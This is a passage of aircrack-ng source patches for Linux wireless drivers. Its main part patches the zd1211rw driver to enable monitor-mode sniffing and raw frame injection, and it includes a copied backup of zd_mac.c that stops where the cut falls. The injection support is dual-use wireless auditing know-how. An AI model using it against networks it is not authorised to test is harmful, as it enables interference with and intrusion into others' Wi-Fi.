IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); aircrack-ng-1.1/patches/old/zd1211rw_inject_2.6.22.patch0000644000000000000000000012736510761053203021131 0ustar rootrootdiff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-08-09 15:37:14.000000000 +0200 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c 2007-08-23 22:51:27.000000000 +0200 @@ -156,8 +156,17 @@ static int reset_mode(struct zd_mac *mac) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); - u32 filter = (ieee->iw_mode == IW_MODE_MONITOR) ? ~0 : STA_RX_FILTER; - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + struct zd_ioreq32 ioreqs[] = { + { CR_RX_FILTER, STA_RX_FILTER }, + { CR_SNIFFER_ON, 0U }, + }; + + if (ieee->iw_mode == IW_MODE_MONITOR) { + ioreqs[0].value = 0xffffffff; + ioreqs[1].value = 0x1; + } + + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } int zd_mac_open(struct net_device *netdev) @@ -192,7 +201,13 @@ goto disable_rx; housekeeping_enable(mac); - ieee80211softmac_start(netdev); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -825,6 +840,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -848,7 +864,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -904,7 +923,11 @@ ieee->stats.tx_dropped++; return r; } - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) { ieee->stats.tx_dropped++; return r; @@ -924,6 +947,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -937,7 +962,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -951,6 +978,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1057,7 +1087,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); ieee->stats.rx_errors++; if (status->frame_status & ZD_RX_TIMEOUT_ERROR) diff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c~ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c~ --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c~ 1970-01-01 01:00:00.000000000 +0100 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c~ 2007-08-23 22:26:08.000000000 +0200 @@ -0,0 +1,1352 @@ +/* zd_mac.c + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#include +#include +#include +#include +#include +#include + +#include "zd_def.h" +#include "zd_chip.h" +#include "zd_mac.h" +#include "zd_ieee80211.h" +#include "zd_netdev.h" +#include "zd_rf.h" +#include "zd_util.h" + +static void ieee_init(struct ieee80211_device *ieee); +static void softmac_init(struct ieee80211softmac_device *sm); +static void set_rts_cts_work(struct work_struct *work); +static void set_basic_rates_work(struct work_struct *work); + +static void housekeeping_init(struct zd_mac *mac); +static void housekeeping_enable(struct zd_mac *mac); +static void housekeeping_disable(struct zd_mac *mac); + +static void set_multicast_hash_handler(struct work_struct *work); + +static void do_rx(unsigned long mac_ptr); + +int zd_mac_init(struct zd_mac *mac, + struct net_device *netdev, + struct usb_interface *intf) +{ + struct ieee80211_device *ieee = zd_netdev_ieee80211(netdev); + + memset(mac, 0, sizeof(*mac)); + spin_lock_init(&mac->lock); + mac->netdev = netdev; + INIT_DELAYED_WORK(&mac->set_rts_cts_work, set_rts_cts_work); + INIT_DELAYED_WORK(&mac->set_basic_rates_work, set_basic_rates_work); + + skb_queue_head_init(&mac->rx_queue); + tasklet_init(&mac->rx_tasklet, do_rx, (unsigned long)mac); + tasklet_disable(&mac->rx_tasklet); + + ieee_init(ieee); + softmac_init(ieee80211_priv(netdev)); + zd_chip_init(&mac->chip, netdev, intf); + housekeeping_init(mac); + INIT_WORK(&mac->set_multicast_hash_work, set_multicast_hash_handler); + return 0; +} + +static int reset_channel(struct zd_mac *mac) +{ + int r; + unsigned long flags; + const struct channel_range *range; + + spin_lock_irqsave(&mac->lock, flags); + range = zd_channel_range(mac->regdomain); + if (!range->start) { + r = -EINVAL; + goto out; + } + mac->requested_channel = range->start; + r = 0; +out: + spin_unlock_irqrestore(&mac->lock, flags); + return r; +} + +int zd_mac_init_hw(struct zd_mac *mac, u8 device_type) +{ + int r; + struct zd_chip *chip = &mac->chip; + u8 addr[ETH_ALEN]; + u8 default_regdomain; + + r = zd_chip_enable_int(chip); + if (r) + goto out; + r = zd_chip_init_hw(chip, device_type); + if (r) + goto disable_int; + + zd_get_e2p_mac_addr(chip, addr); + r = zd_write_mac_addr(chip, addr); + if (r) + goto disable_int; + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&mac->lock); + memcpy(mac->netdev->dev_addr, addr, ETH_ALEN); + spin_unlock_irq(&mac->lock); + + r = zd_read_regdomain(chip, &default_regdomain); + if (r) + goto disable_int; + if (!zd_regdomain_supported(default_regdomain)) { + dev_dbg_f(zd_mac_dev(mac), + "Regulatory Domain %#04x is not supported.\n", + default_regdomain); + r = -EINVAL; + goto disable_int; + } + spin_lock_irq(&mac->lock); + mac->regdomain = mac->default_regdomain = default_regdomain; + spin_unlock_irq(&mac->lock); + r = reset_channel(mac); + if (r) + goto disable_int; + + /* We must inform the device that we are doing encryption/decryption in + * software at the moment. */ + r = zd_set_encryption_type(chip, ENC_SNIFFER); + if (r) + goto disable_int; + + r = zd_geo_init(zd_mac_to_ieee80211(mac), mac->regdomain); + if (r) + goto disable_int; + + r = 0; +disable_int: + zd_chip_disable_int(chip); +out: + return r; +} + +void zd_mac_clear(struct zd_mac *mac) +{ + flush_workqueue(zd_workqueue); + skb_queue_purge(&mac->rx_queue); + tasklet_kill(&mac->rx_tasklet); + zd_chip_clear(&mac->chip); + ZD_ASSERT(!spin_is_locked(&mac->lock)); + ZD_MEMCLEAR(mac, sizeof(struct zd_mac)); +} + +static int reset_mode(struct zd_mac *mac) +{ + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + u32 filter = (ieee->iw_mode == IW_MODE_MONITOR) ? ~0 : STA_RX_FILTER; + return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); +} + +int zd_mac_open(struct net_device *netdev) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + struct zd_chip *chip = &mac->chip; + int r; + + tasklet_enable(&mac->rx_tasklet); + + r = zd_chip_enable_int(chip); + if (r < 0) + goto out; + + r = zd_chip_set_basic_rates(chip, CR_RATES_80211B | CR_RATES_80211G); + if (r < 0) + goto disable_int; + r = reset_mode(mac); + if (r) + goto disable_int; + r = zd_chip_switch_radio_on(chip); + if (r < 0) + goto disable_int; + r = zd_chip_set_channel(chip, mac->requested_channel); + if (r < 0) + goto disable_radio; + r = zd_chip_enable_rx(chip); + if (r < 0) + goto disable_radio; + r = zd_chip_enable_hwint(chip); + if (r < 0) + goto disable_rx; + + housekeeping_enable(mac); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + + return 0; +disable_rx: + zd_chip_disable_rx(chip); +disable_radio: + zd_chip_switch_radio_off(chip); +disable_int: + zd_chip_disable_int(chip); +out: + return r; +} + +int zd_mac_stop(struct net_device *netdev) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + struct zd_chip *chip = &mac->chip; + + netif_stop_queue(netdev); + + /* + * The order here deliberately is a little different from the open() + * method, since we need to make sure there is no opportunity for RX + * frames to be processed by softmac after we have stopped it. + */ + + zd_chip_disable_rx(chip); + skb_queue_purge(&mac->rx_queue); + tasklet_disable(&mac->rx_tasklet); + housekeeping_disable(mac); + ieee80211softmac_stop(netdev); + + /* Ensure no work items are running or queued from this point */ + cancel_delayed_work(&mac->set_rts_cts_work); + cancel_delayed_work(&mac->set_basic_rates_work); + flush_workqueue(zd_workqueue); + mac->updating_rts_rate = 0; + mac->updating_basic_rates = 0; + + zd_chip_disable_hwint(chip); + zd_chip_switch_radio_off(chip); + zd_chip_disable_int(chip); + + return 0; +} + +int zd_mac_set_mac_address(struct net_device *netdev, void *p) +{ + int r; + unsigned long flags; + struct sockaddr *addr = p; + struct zd_mac *mac = zd_netdev_mac(netdev); + struct zd_chip *chip = &mac->chip; + + if (!is_valid_ether_addr(addr->sa_data)) + return -EADDRNOTAVAIL; + + dev_dbg_f(zd_mac_dev(mac), + "Setting MAC to " MAC_FMT "\n", MAC_ARG(addr->sa_data)); + + r = zd_write_mac_addr(chip, addr->sa_data); + if (r) + return r; + + spin_lock_irqsave(&mac->lock, flags); + memcpy(netdev->dev_addr, addr->sa_data, ETH_ALEN); + spin_unlock_irqrestore(&mac->lock, flags); + + return 0; +} + +static void set_multicast_hash_handler(struct work_struct *work) +{ + struct zd_mac *mac = container_of(work, struct zd_mac, + set_multicast_hash_work); + struct zd_mc_hash hash; + + spin_lock_irq(&mac->lock); + hash = mac->multicast_hash; + spin_unlock_irq(&mac->lock); + + zd_chip_set_multicast_hash(&mac->chip, &hash); +} + +void zd_mac_set_multicast_list(struct net_device *dev) +{ + struct zd_mc_hash hash; + struct zd_mac *mac = zd_netdev_mac(dev); + struct dev_mc_list *mc; + unsigned long flags; + + if (dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) { + zd_mc_add_all(&hash); + } else { + zd_mc_clear(&hash); + for (mc = dev->mc_list; mc; mc = mc->next) { + dev_dbg_f(zd_mac_dev(mac), "mc addr " MAC_FMT "\n", + MAC_ARG(mc->dmi_addr)); + zd_mc_add_addr(&hash, mc->dmi_addr); + } + } + + spin_lock_irqsave(&mac->lock, flags); + mac->multicast_hash = hash; + spin_unlock_irqrestore(&mac->lock, flags); + queue_work(zd_workqueue, &mac->set_multicast_hash_work); +} + +int zd_mac_set_regdomain(struct zd_mac *mac, u8 regdomain) +{ + int r; + u8 channel; + + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&mac->lock); + if (regdomain == 0) { + regdomain = mac->default_regdomain; + } + if (!zd_regdomain_supported(regdomain)) { + spin_unlock_irq(&mac->lock); + return -EINVAL; + } + mac->regdomain = regdomain; + channel = mac->requested_channel; + spin_unlock_irq(&mac->lock); + + r = zd_geo_init(zd_mac_to_ieee80211(mac), regdomain); + if (r) + return r; + if (!zd_regdomain_supports_channel(regdomain, channel)) { + r = reset_channel(mac); + if (r) + return r; + } + + return 0; +} + +u8 zd_mac_get_regdomain(struct zd_mac *mac) +{ + unsigned long flags; + u8 regdomain; + + spin_lock_irqsave(&mac->lock, flags); + regdomain = mac->regdomain; + spin_unlock_irqrestore(&mac->lock, flags); + return regdomain; +} + +/* Fallback to lowest rate, if rate is unknown. */ +static u8 rate_to_zd_rate(u8 rate) +{ + switch (rate) { + case IEEE80211_CCK_RATE_2MB: + return ZD_CCK_RATE_2M; + case IEEE80211_CCK_RATE_5MB: + return ZD_CCK_RATE_5_5M; + case IEEE80211_CCK_RATE_11MB: + return ZD_CCK_RATE_11M; + case IEEE80211_OFDM_RATE_6MB: + return ZD_OFDM_RATE_6M; + case IEEE80211_OFDM_RATE_9MB: + return ZD_OFDM_RATE_9M; + case IEEE80211_OFDM_RATE_12MB: + return ZD_OFDM_RATE_12M; + case IEEE80211_OFDM_RATE_18MB: + return ZD_OFDM_RATE_18M; + case IEEE80211_OFDM_RATE_24MB: + return ZD_OFDM_RATE_24M; + case IEEE80211_OFDM_RATE_36MB: + return ZD_OFDM_RATE_36M; + case IEEE80211_OFDM_RATE_48MB: + return ZD_OFDM_RATE_48M; + case IEEE80211_OFDM_RATE_54MB: + return ZD_OFDM_RATE_54M; + } + return ZD_CCK_RATE_1M; +} + +static u16 rate_to_cr_rate(u8 rate) +{ + switch (rate) { + case IEEE80211_CCK_RATE_2MB: + return CR_RATE_1M; + case IEEE80211_CCK_RATE_5MB: + return CR_RATE_5_5M; + case IEEE80211_CCK_RATE_11MB: + return CR_RATE_11M; + case IEEE80211_OFDM_RATE_6MB: + return CR_RATE_6M; + case IEEE80211_OFDM_RATE_9MB: + return CR_RATE_9M; + case IEEE80211_OFDM_RATE_12MB: + return CR_RATE_12M; + case IEEE80211_OFDM_RATE_18MB: + return CR_RATE_18M; + case IEEE80211_OFDM_RATE_24MB: + return CR_RATE_24M; + case IEEE80211_OFDM_RATE_36MB: + return CR_RATE_36M; + case IEEE80211_OFDM_RATE_48MB: + return CR_RATE_48M; + case IEEE80211_OFDM_RATE_54MB: + return CR_RATE_54M; + } + return CR_RATE_1M; +} + +static void try_enable_tx(struct zd_mac *mac) +{ + unsigned long flags; + + spin_lock_irqsave(&mac->lock, flags); + if (mac->updating_rts_rate == 0 && mac->updating_basic_rates == 0) + netif_wake_queue(mac->netdev); + spin_unlock_irqrestore(&mac->lock, flags); +} + +static void set_rts_cts_work(struct work_struct *work) +{ + struct zd_mac *mac = + container_of(work, struct zd_mac, set_rts_cts_work.work); + unsigned long flags; + u8 rts_rate; + unsigned int short_preamble; + + mutex_lock(&mac->chip.mutex); + + spin_lock_irqsave(&mac->lock, flags); + mac->updating_rts_rate = 0; + rts_rate = mac->rts_rate; + short_preamble = mac->short_preamble; + spin_unlock_irqrestore(&mac->lock, flags); + + zd_chip_set_rts_cts_rate_locked(&mac->chip, rts_rate, short_preamble); + mutex_unlock(&mac->chip.mutex); + + try_enable_tx(mac); +} + +static void set_basic_rates_work(struct work_struct *work) +{ + struct zd_mac *mac = + container_of(work, struct zd_mac, set_basic_rates_work.work); + unsigned long flags; + u16 basic_rates; + + mutex_lock(&mac->chip.mutex); + + spin_lock_irqsave(&mac->lock, flags); + mac->updating_basic_rates = 0; + basic_rates = mac->basic_rates; + spin_unlock_irqrestore(&mac->lock, flags); + + zd_chip_set_basic_rates_locked(&mac->chip, basic_rates); + mutex_unlock(&mac->chip.mutex); + + try_enable_tx(mac); +} + +static void bssinfo_change(struct net_device *netdev, u32 changes) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + struct ieee80211softmac_device *softmac = ieee80211_priv(netdev); + struct ieee80211softmac_bss_info *bssinfo = &softmac->bssinfo; + int need_set_rts_cts = 0; + int need_set_rates = 0; + u16 basic_rates; + unsigned long flags; + + dev_dbg_f(zd_mac_dev(mac), "changes: %x\n", changes); + + if (changes & IEEE80211SOFTMAC_BSSINFOCHG_SHORT_PREAMBLE) { + spin_lock_irqsave(&mac->lock, flags); + mac->short_preamble = bssinfo->short_preamble; + spin_unlock_irqrestore(&mac->lock, flags); + need_set_rts_cts = 1; + } + + if (changes & IEEE80211SOFTMAC_BSSINFOCHG_RATES) { + /* Set RTS rate to highest available basic rate */ + u8 hi_rate = ieee80211softmac_highest_supported_rate(softmac, + &bssinfo->supported_rates, 1); + hi_rate = rate_to_zd_rate(hi_rate); + + spin_lock_irqsave(&mac->lock, flags); + if (hi_rate != mac->rts_rate) { + mac->rts_rate = hi_rate; + need_set_rts_cts = 1; + } + spin_unlock_irqrestore(&mac->lock, flags); + + /* Set basic rates */ + need_set_rates = 1; + if (bssinfo->supported_rates.count == 0) { + /* Allow the device to be flexible */ + basic_rates = CR_RATES_80211B | CR_RATES_80211G; + } else { + int i = 0; + basic_rates = 0; + + for (i = 0; i < bssinfo->supported_rates.count; i++) { + u16 rate = bssinfo->supported_rates.rates[i]; + if ((rate & IEEE80211_BASIC_RATE_MASK) == 0) + continue; + + rate &= ~IEEE80211_BASIC_RATE_MASK; + basic_rates |= rate_to_cr_rate(rate); + } + } + spin_lock_irqsave(&mac->lock, flags); + mac->basic_rates = basic_rates; + spin_unlock_irqrestore(&mac->lock, flags); + } + + /* Schedule any changes we made above */ + + spin_lock_irqsave(&mac->lock, flags); + if (need_set_rts_cts && !mac->updating_rts_rate) { + mac->updating_rts_rate = 1; + netif_stop_queue(mac->netdev); + queue_delayed_work(zd_workqueue, &mac->set_rts_cts_work, 0); + } + if (need_set_rates && !mac->updating_basic_rates) { + mac->updating_basic_rates = 1; + netif_stop_queue(mac->netdev); + queue_delayed_work(zd_workqueue, &mac->set_basic_rates_work, + 0); + } + spin_unlock_irqrestore(&mac->lock, flags); +} + +static void set_channel(struct net_device *netdev, u8 channel) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + + dev_dbg_f(zd_mac_dev(mac), "channel %d\n", channel); + + zd_chip_set_channel(&mac->chip, channel); +} + +int zd_mac_request_channel(struct zd_mac *mac, u8 channel) +{ + unsigned long lock_flags; + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + + if (ieee->iw_mode == IW_MODE_INFRA) + return -EPERM; + + spin_lock_irqsave(&mac->lock, lock_flags); + if (!zd_regdomain_supports_channel(mac->regdomain, channel)) { + spin_unlock_irqrestore(&mac->lock, lock_flags); + return -EINVAL; + } + mac->requested_channel = channel; + spin_unlock_irqrestore(&mac->lock, lock_flags); + if (netif_running(mac->netdev)) + return zd_chip_set_channel(&mac->chip, channel); + else + return 0; +} + +u8 zd_mac_get_channel(struct zd_mac *mac) +{ + u8 channel = zd_chip_get_channel(&mac->chip); + + dev_dbg_f(zd_mac_dev(mac), "channel %u\n", channel); + return channel; +} + +/* If wrong rate is given, we are falling back to the slowest rate: 1MBit/s */ +static u8 zd_rate_typed(u8 zd_rate) +{ + static const u8 typed_rates[16] = { + [ZD_CCK_RATE_1M] = ZD_CS_CCK|ZD_CCK_RATE_1M, + [ZD_CCK_RATE_2M] = ZD_CS_CCK|ZD_CCK_RATE_2M, + [ZD_CCK_RATE_5_5M] = ZD_CS_CCK|ZD_CCK_RATE_5_5M, + [ZD_CCK_RATE_11M] = ZD_CS_CCK|ZD_CCK_RATE_11M, + [ZD_OFDM_RATE_6M] = ZD_CS_OFDM|ZD_OFDM_RATE_6M, + [ZD_OFDM_RATE_9M] = ZD_CS_OFDM|ZD_OFDM_RATE_9M, + [ZD_OFDM_RATE_12M] = ZD_CS_OFDM|ZD_OFDM_RATE_12M, + [ZD_OFDM_RATE_18M] = ZD_CS_OFDM|ZD_OFDM_RATE_18M, + [ZD_OFDM_RATE_24M] = ZD_CS_OFDM|ZD_OFDM_RATE_24M, + [ZD_OFDM_RATE_36M] = ZD_CS_OFDM|ZD_OFDM_RATE_36M, + [ZD_OFDM_RATE_48M] = ZD_CS_OFDM|ZD_OFDM_RATE_48M, + [ZD_OFDM_RATE_54M] = ZD_CS_OFDM|ZD_OFDM_RATE_54M, + }; + + ZD_ASSERT(ZD_CS_RATE_MASK == 0x0f); + return typed_rates[zd_rate & ZD_CS_RATE_MASK]; +} + +int zd_mac_set_mode(struct zd_mac *mac, u32 mode) +{ + struct ieee80211_device *ieee; + + switch (mode) { + case IW_MODE_AUTO: + case IW_MODE_ADHOC: + case IW_MODE_INFRA: + mac->netdev->type = ARPHRD_ETHER; + break; + case IW_MODE_MONITOR: + mac->netdev->type = ARPHRD_IEEE80211_RADIOTAP; + break; + default: + dev_dbg_f(zd_mac_dev(mac), "wrong mode %u\n", mode); + return -EINVAL; + } + + ieee = zd_mac_to_ieee80211(mac); + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&ieee->lock); + ieee->iw_mode = mode; + spin_unlock_irq(&ieee->lock); + + if (netif_running(mac->netdev)) + return reset_mode(mac); + + return 0; +} + +int zd_mac_get_mode(struct zd_mac *mac, u32 *mode) +{ + unsigned long flags; + struct ieee80211_device *ieee; + + ieee = zd_mac_to_ieee80211(mac); + spin_lock_irqsave(&ieee->lock, flags); + *mode = ieee->iw_mode; + spin_unlock_irqrestore(&ieee->lock, flags); + return 0; +} + +int zd_mac_get_range(struct zd_mac *mac, struct iw_range *range) +{ + int i; + const struct channel_range *channel_range; + u8 regdomain; + + memset(range, 0, sizeof(*range)); + + /* FIXME: Not so important and depends on the mode. For 802.11g + * usually this value is used. It seems to be that Bit/s number is + * given here. + */ + range->throughput = 27 * 1000 * 1000; + + range->max_qual.qual = 100; + range->max_qual.level = 100; + + /* FIXME: Needs still to be tuned. */ + range->avg_qual.qual = 71; + range->avg_qual.level = 80; + + /* FIXME: depends on standard? */ + range->min_rts = 256; + range->max_rts = 2346; + + range->min_frag = MIN_FRAG_THRESHOLD; + range->max_frag = MAX_FRAG_THRESHOLD; + + range->max_encoding_tokens = WEP_KEYS; + range->num_encoding_sizes = 2; + range->encoding_size[0] = 5; + range->encoding_size[1] = WEP_KEY_LEN; + + range->we_version_compiled = WIRELESS_EXT; + range->we_version_source = 20; + + range->enc_capa = IW_ENC_CAPA_WPA | IW_ENC_CAPA_WPA2 | + IW_ENC_CAPA_CIPHER_TKIP | IW_ENC_CAPA_CIPHER_CCMP; + + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&mac->lock); + regdomain = mac->regdomain; + spin_unlock_irq(&mac->lock); + channel_range = zd_channel_range(regdomain); + + range->num_channels = channel_range->end - channel_range->start; + range->old_num_channels = range->num_channels; + range->num_frequency = range->num_channels; + range->old_num_frequency = range->num_frequency; + + for (i = 0; i < range->num_frequency; i++) { + struct iw_freq *freq = &range->freq[i]; + freq->i = channel_range->start + i; + zd_channel_to_freq(freq, freq->i); + } + + return 0; +} + +static int zd_calc_tx_length_us(u8 *service, u8 zd_rate, u16 tx_length) +{ + static const u8 rate_divisor[] = { + [ZD_CCK_RATE_1M] = 1, + [ZD_CCK_RATE_2M] = 2, + [ZD_CCK_RATE_5_5M] = 11, /* bits must be doubled */ + [ZD_CCK_RATE_11M] = 11, + [ZD_OFDM_RATE_6M] = 6, + [ZD_OFDM_RATE_9M] = 9, + [ZD_OFDM_RATE_12M] = 12, + [ZD_OFDM_RATE_18M] = 18, + [ZD_OFDM_RATE_24M] = 24, + [ZD_OFDM_RATE_36M] = 36, + [ZD_OFDM_RATE_48M] = 48, + [ZD_OFDM_RATE_54M] = 54, + }; + + u32 bits = (u32)tx_length * 8; + u32 divisor; + + divisor = rate_divisor[zd_rate]; + if (divisor == 0) + return -EINVAL; + + switch (zd_rate) { + case ZD_CCK_RATE_5_5M: + bits = (2*bits) + 10; /* round up to the next integer */ + break; + case ZD_CCK_RATE_11M: + if (service) { + u32 t = bits % 11; + *service &= ~ZD_PLCP_SERVICE_LENGTH_EXTENSION; + if (0 < t && t <= 3) { + *service |= ZD_PLCP_SERVICE_LENGTH_EXTENSION; + } + } + bits += 10; /* round up to the next integer */ + break; + } + + return bits/divisor; +} + +enum { + R2M_SHORT_PREAMBLE = 0x01, + R2M_11A = 0x02, +}; + +static u8 zd_rate_to_modulation(u8 zd_rate, int flags) +{ + u8 modulation; + + modulation = zd_rate_typed(zd_rate); + if (flags & R2M_SHORT_PREAMBLE) { + switch (ZD_CS_RATE(modulation)) { + case ZD_CCK_RATE_2M: + case ZD_CCK_RATE_5_5M: + case ZD_CCK_RATE_11M: + modulation |= ZD_CS_CCK_PREA_SHORT; + return modulation; + } + } + if (flags & R2M_11A) { + if (ZD_CS_TYPE(modulation) == ZD_CS_OFDM) + modulation |= ZD_CS_OFDM_MODE_11A; + } + return modulation; +} + +static void cs_set_modulation(struct zd_mac *mac, struct zd_ctrlset *cs, + struct ieee80211_hdr_4addr *hdr) +{ + struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + u16 ftype = WLAN_FC_GET_TYPE(le16_to_cpu(hdr->frame_ctl)); + u8 rate, zd_rate; + int is_mgt = (ftype == IEEE80211_FTYPE_MGMT) != 0; + int is_multicast = is_multicast_ether_addr(hdr->addr1); + int short_preamble = ieee80211softmac_short_preamble_ok(softmac, + is_multicast, is_mgt); + int flags = 0; + + /* FIXME: 802.11a? */ + rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt); + + if (short_preamble) + flags |= R2M_SHORT_PREAMBLE; + + zd_rate = rate_to_zd_rate(rate); + cs->modulation = zd_rate_to_modulation(zd_rate, flags); +} + +static void cs_set_control(struct zd_mac *mac, struct zd_ctrlset *cs, + struct ieee80211_hdr_4addr *header) +{ + struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + unsigned int tx_length = le16_to_cpu(cs->tx_length); + u16 fctl = le16_to_cpu(header->frame_ctl); + u16 ftype = WLAN_FC_GET_TYPE(fctl); + u16 stype = WLAN_FC_GET_STYPE(fctl); + + /* + * CONTROL TODO: + * - if backoff needed, enable bit 0 + * - if burst (backoff not needed) disable bit 0 + */ + + cs->control = 0; + + /* First fragment */ + if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0) + cs->control |= ZD_CS_NEED_RANDOM_BACKOFF; + + /* Multicast */ + if (is_multicast_ether_addr(header->addr1)) + cs->control |= ZD_CS_MULTICAST; + + /* PS-POLL */ + if (stype == IEEE80211_STYPE_PSPOLL) + cs->control |= ZD_CS_PS_POLL_FRAME; + + /* Unicast data frames over the threshold should have RTS */ + if (!is_multicast_ether_addr(header->addr1) && + ftype != IEEE80211_FTYPE_MGMT && + tx_length > zd_netdev_ieee80211(mac->netdev)->rts) + cs->control |= ZD_CS_RTS; + + /* Use CTS-to-self protection if required */ + if (ZD_CS_TYPE(cs->modulation) == ZD_CS_OFDM && + ieee80211softmac_protection_needed(softmac)) { + /* FIXME: avoid sending RTS *and* self-CTS, is that correct? */ + cs->control &= ~ZD_CS_RTS; + cs->control |= ZD_CS_SELF_CTS; + } + + /* FIXME: Management frame? */ +} + +static int fill_ctrlset(struct zd_mac *mac, + struct ieee80211_txb *txb, + int frag_num) +{ + struct ieee80211_device *ieee = 